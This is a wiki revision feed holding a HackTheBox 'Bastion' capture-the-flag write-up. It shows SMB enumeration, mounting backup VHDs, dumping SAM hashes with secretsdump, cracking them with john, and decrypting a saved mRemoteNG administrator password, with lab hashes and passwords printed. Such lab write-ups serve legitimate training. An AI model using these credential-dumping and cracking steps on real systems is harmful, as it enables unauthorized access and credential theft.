<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBastion</id>
	<title>Write-ups/HTB/Bastion - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBastion"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Bastion&amp;action=history"/>
	<updated>2026-04-21T15:22:14Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Bastion&amp;diff=1202&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 13:15, 21 April 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Bastion&amp;diff=1202&amp;oldid=prev"/>
		<updated>2022-04-21T13:15:40Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Bastion&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = SMB, VHD Mount, SAM Dump&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-04-Bastion.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On this Windows machine there was a SMB share that had two &amp;#039;&amp;#039;&amp;#039;VHDs &amp;#039;&amp;#039;&amp;#039;that we could remotly mount. The VHDs looked like a backup of a Windows. Using &amp;#039;&amp;#039;&amp;#039;secretsdump &amp;#039;&amp;#039;&amp;#039;we could dump the hash from from the /system32/config, and get the hash for users. Using john the ripper, I cracked the hash for &amp;#039;&amp;#039;&amp;#039;L4mpje&amp;#039;&amp;#039;&amp;#039;. After enumerating the machine we find that &amp;#039;&amp;#039;&amp;#039;mremoteng &amp;#039;&amp;#039;&amp;#039;is installed. There was a saved session, which had the hash for the user &amp;#039;&amp;#039;&amp;#039;Administrator&amp;#039;&amp;#039;&amp;#039;. Cracking that we got the password for &amp;#039;&amp;#039;&amp;#039;nt authority\ system&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bastion]&lt;br /&gt;
└─# cat nmap.ver                                                                                                                                                                         1 ⨯&lt;br /&gt;
# Nmap 7.92 scan initiated Thu Feb 10 14:07:35 2022 as: nmap -sC -sV -p- --min-rate 10000 -oN nmap.ver 10.10.10.134&lt;br /&gt;
Warning: 10.10.10.134 giving up on port because retransmission cap hit (10).&lt;br /&gt;
Nmap scan report for 10.10.10.134&lt;br /&gt;
Host is up (0.040s latency).&lt;br /&gt;
Not shown: 65472 closed tcp ports (reset), 50 filtered tcp ports (no-response)&lt;br /&gt;
PORT      STATE SERVICE      VERSION&lt;br /&gt;
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)&lt;br /&gt;
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)&lt;br /&gt;
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)&lt;br /&gt;
135/tcp   open  msrpc        Microsoft Windows RPC&lt;br /&gt;
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn&lt;br /&gt;
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds&lt;br /&gt;
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)&lt;br /&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0&lt;br /&gt;
|_http-title: Not Found&lt;br /&gt;
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)&lt;br /&gt;
|_http-title: Not Found&lt;br /&gt;
|_http-server-header: Microsoft-HTTPAPI/2.0&lt;br /&gt;
49664/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49665/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49666/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49667/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49668/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49669/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
49670/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_clock-skew: mean: -18m00s, deviation: 34m36s, median: 1m57s&lt;br /&gt;
| smb2-time:&lt;br /&gt;
|   date: 2022-02-10T19:10:43&lt;br /&gt;
|_  start_date: 2022-02-10T18:38:34&lt;br /&gt;
| smb-os-discovery:&lt;br /&gt;
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)&lt;br /&gt;
|   Computer name: Bastion&lt;br /&gt;
|   NetBIOS computer name: BASTION\x00&lt;br /&gt;
|   Workgroup: WORKGROUP\x00&lt;br /&gt;
|_  System time: 2022-02-10T20:10:45+01:00&lt;br /&gt;
| smb2-security-mode:&lt;br /&gt;
|   3.1.1:&lt;br /&gt;
|_    Message signing enabled but not required&lt;br /&gt;
| smb-security-mode:&lt;br /&gt;
|   account_used: guest&lt;br /&gt;
|   authentication_level: user&lt;br /&gt;
|   challenge_response: supported&lt;br /&gt;
|_  message_signing: disabled (dangerous, but default)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== SMB ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbclient -N -L //10.10.10.134&lt;br /&gt;
&lt;br /&gt;
        Sharename       Type      Comment&lt;br /&gt;
        ---------       ----      -------&lt;br /&gt;
        ADMIN$          Disk      Remote Admin&lt;br /&gt;
        Backups         Disk&lt;br /&gt;
        C$              Disk      Default share&lt;br /&gt;
        IPC$            IPC       Remote IPC&lt;br /&gt;
Reconnecting with SMB1 for workgroup listing.&lt;br /&gt;
do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)&lt;br /&gt;
Failed to connect with SMB1 -- no workgroup available&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Inside the share &amp;#039;&amp;#039;&amp;#039;Backups &amp;#039;&amp;#039;&amp;#039;there are two VHD files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\&amp;gt; ls&lt;br /&gt;
  .                                  Dn        0  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  ..                                 Dn        0  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd     An 37761024  Fri Feb 22 07:44:03 2019&lt;br /&gt;
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd     An 5418299392  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  BackupSpecs.xml                    An     1186  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml     An     1078  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml     An     8930  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml     An     6542  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml     An     2894  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml     An     1488  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml     An     1484  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml     An     3844  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml     An     3988  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml     An     7110  Fri Feb 22 07:45:32 2019&lt;br /&gt;
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml     An  2374620  Fri Feb 22 07:45:32 2019&lt;br /&gt;
&lt;br /&gt;
                5638911 blocks of size 4096. 1175978 blocks available&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Mount VHD remotely ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Instead of downloadng the VHDs and mount them on a Windows machine, I can just mount them remotly using &amp;#039;&amp;#039;&amp;#039;guestmount&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Step 1 - Install dependencies&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt-get install libguestfs-tools&lt;br /&gt;
sudo apt-get install cifs-utils&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Step 2 - Find partition detail&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]&lt;br /&gt;
└─# sudo guestfish --ro -a 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd                                                                                                                      1 ⨯&lt;br /&gt;
&lt;br /&gt;
Welcome to guestfish, the guest filesystem shell for&lt;br /&gt;
editing virtual machine filesystems and disk images.&lt;br /&gt;
&lt;br /&gt;
Type: ‘help’ for help on commands&lt;br /&gt;
      ‘man’ to read the manual&lt;br /&gt;
      ‘quit’ to quit the shell&lt;br /&gt;
&lt;br /&gt;
&amp;gt; run&lt;br /&gt;
 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00-&lt;br /&gt;
&amp;gt; list-filesystems&lt;br /&gt;
/dev/sda1: ntfs&lt;br /&gt;
&amp;gt; exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Step 3 - Mount&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]&lt;br /&gt;
└─# sudo guestmount -a 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd  -m /dev/sda1 --ro /mnt/vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Step 4 - Go to location&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/mnt/vhd]&lt;br /&gt;
└─# ls -l&lt;br /&gt;
total 392&lt;br /&gt;
drwxrwxrwx 1 root root   4096 Feb 22  2019  Boot&lt;br /&gt;
-rwxrwxrwx 1 root root 383786 Nov 20  2010  bootmgr&lt;br /&gt;
-rwxrwxrwx 1 root root   8192 Feb 22  2019  BOOTSECT.BAK&lt;br /&gt;
drwxrwxrwx 1 root root   4096 Feb 22  2019 &amp;#039;System Volume Information&amp;#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Step 4 part 2 - Go to location 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/mnt/vhd2]&lt;br /&gt;
└─# ls -l                                                                                                                                                1 ⨯&lt;br /&gt;
total 2096729&lt;br /&gt;
drwxrwxrwx 1 root root          0 Feb 22  2019 &amp;#039;$Recycle.Bin&amp;#039;&lt;br /&gt;
-rwxrwxrwx 1 root root         24 Jun 10  2009  autoexec.bat&lt;br /&gt;
-rwxrwxrwx 1 root root         10 Jun 10  2009  config.sys&lt;br /&gt;
lrwxrwxrwx 2 root root         14 Jul 14  2009 &amp;#039;Documents and Settings&amp;#039; -&amp;gt; /sysroot/Users&lt;br /&gt;
-rwxrwxrwx 1 root root 2147016704 Feb 22  2019  pagefile.sys&lt;br /&gt;
drwxrwxrwx 1 root root          0 Jul 13  2009  PerfLogs&lt;br /&gt;
drwxrwxrwx 1 root root       4096 Jul 14  2009  ProgramData&lt;br /&gt;
drwxrwxrwx 1 root root       4096 Apr 11  2011 &amp;#039;Program Files&amp;#039;&lt;br /&gt;
drwxrwxrwx 1 root root          0 Feb 22  2019  Recovery&lt;br /&gt;
drwxrwxrwx 1 root root       4096 Feb 22  2019 &amp;#039;System Volume Information&amp;#039;&lt;br /&gt;
drwxrwxrwx 1 root root       4096 Feb 22  2019  Users&lt;br /&gt;
drwxrwxrwx 1 root root      16384 Feb 22  2019  Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as L4mpje ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since this is a VHD (Virtual harddisk) of a Windows machine I could dump the hash from the registary. Usually on a running system, this would be locked. In /system32/config I&amp;#039;ll use &amp;#039;&amp;#039;&amp;#039;impacket-secretsdump&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/mnt/vhd2/Windows/System32/config]&lt;br /&gt;
└─# /usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation&lt;br /&gt;
&lt;br /&gt;
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::&lt;br /&gt;
[*] Dumping cached domain logon information (domain/username:hash)&lt;br /&gt;
[*] Dumping LSA Secrets&lt;br /&gt;
[*] DefaultPassword&lt;br /&gt;
(Unknown User):bureaulampje&lt;br /&gt;
[*] DPAPI_SYSTEM&lt;br /&gt;
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6&lt;br /&gt;
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd&lt;br /&gt;
[*] Cleaning up...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Crack the hash ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And using john the rupper to crack the hash for the user L4mpje.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bastion]&lt;br /&gt;
└─# john  --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT&lt;br /&gt;
Using default input encoding: UTF-8&lt;br /&gt;
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])&lt;br /&gt;
Warning: no OpenMP support for this hash type, consider --fork=2&lt;br /&gt;
Press &amp;#039;q&amp;#039; or Ctrl-C to abort, almost any other key for status&lt;br /&gt;
bureaulampje     (L4mpje)&lt;br /&gt;
1g 0:00:00:00 DONE (2022-02-10 17:17) 1.351g/s 12696Kp/s 12696Kc/s 12696KC/s burg772v..burdy1&lt;br /&gt;
Use the &amp;quot;--show --format=NT&amp;quot; options to display all of the cracked passwords reliably&lt;br /&gt;
Session completed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bastion]&lt;br /&gt;
└─# ssh L4mpje@10.10.10.134&lt;br /&gt;
The authenticity of host &amp;#039;10.10.10.134 (10.10.10.134)&amp;#039; can&amp;#039;t be established.&lt;br /&gt;
ED25519 key fingerprint is SHA256:2ZbIDKRPlngECX1WSMqnucdOWthIaPG7wQ6mBReac7M.&lt;br /&gt;
This key is not known by any other names&lt;br /&gt;
Are you sure you want to continue connecting (yes/no/[fingerprint])? ye&lt;br /&gt;
Please type &amp;#039;yes&amp;#039;, &amp;#039;no&amp;#039; or the fingerprint: yes&lt;br /&gt;
Warning: Permanently added &amp;#039;10.10.10.134&amp;#039; (ED25519) to the list of known hosts.&lt;br /&gt;
Enter passphrase for key &amp;#039;/root/.ssh/id_rsa&amp;#039;:&lt;br /&gt;
L4mpje@10.10.10.134&amp;#039;s password:&lt;br /&gt;
Microsoft Windows [Version 10.0.14393]&lt;br /&gt;
(c) 2016 Microsoft Corporation. All rights reserved.&lt;br /&gt;
&lt;br /&gt;
l4mpje@BASTION C:\Users\L4mpje&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as NT AUTHORITY\SYSTEM ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== mremoteng ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking through the system we find that &amp;#039;&amp;#039;&amp;#039;mremoteng&amp;#039;&amp;#039;&amp;#039; is installed. Mremoteng is a remote management tool for managing remote connections. It also allows you to save passwords for sessions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\Program Files (x86)&amp;gt; ls&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    Directory: C:\Program Files (x86)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime         Length Name&lt;br /&gt;
----                -------------         ------ ----&lt;br /&gt;
d-----        16-7-2016     15:23                Common Files&lt;br /&gt;
d-----        23-2-2019     09:38                Internet Explorer&lt;br /&gt;
d-----        16-7-2016     15:23                Microsoft.NET&lt;br /&gt;
da----        22-2-2019     14:01                mRemoteNG&lt;br /&gt;
d-----        23-2-2019     10:22                Windows Defender&lt;br /&gt;
d-----        23-2-2019     09:38                Windows Mail&lt;br /&gt;
d-----        23-2-2019     10:22                Windows Media Player&lt;br /&gt;
d-----        16-7-2016     15:23                Windows Multimedia Platform&lt;br /&gt;
d-----        16-7-2016     15:23                Windows NT&lt;br /&gt;
d-----        23-2-2019     10:22                Windows Photo Viewer&lt;br /&gt;
d-----        16-7-2016     15:23                Windows Portable Devices&lt;br /&gt;
d-----        16-7-2016     15:23                WindowsPowerShell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Look through the files I find &amp;#039;&amp;#039;&amp;#039;confCons.xml&amp;#039;&amp;#039;&amp;#039; which have the hash for the user Administrator.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG&amp;gt; cat .\confCons.xml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== mremoteng-decryptor.py ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using mremoteng-decrypter I was able to crack the hash and get the password for the user Administrator.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/bastion/mRemoteNG-Decrypt]&lt;br /&gt;
└─# python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==&lt;br /&gt;
Password: thXLHM96BeKL0ER2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# ssh administrator@10.10.10.134&lt;br /&gt;
Enter passphrase for key &amp;#039;/root/.ssh/id_rsa&amp;#039;:&lt;br /&gt;
administrator@10.10.10.134&amp;#039;s password:&lt;br /&gt;
Microsoft Windows [Version 10.0.14393]&lt;br /&gt;
(c) 2016 Microsoft Corporation. All rights reserved.&lt;br /&gt;
&lt;br /&gt;
administrator@BASTION C:\Users\Administrator&amp;gt;whoami&lt;br /&gt;
bastion\administrator&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>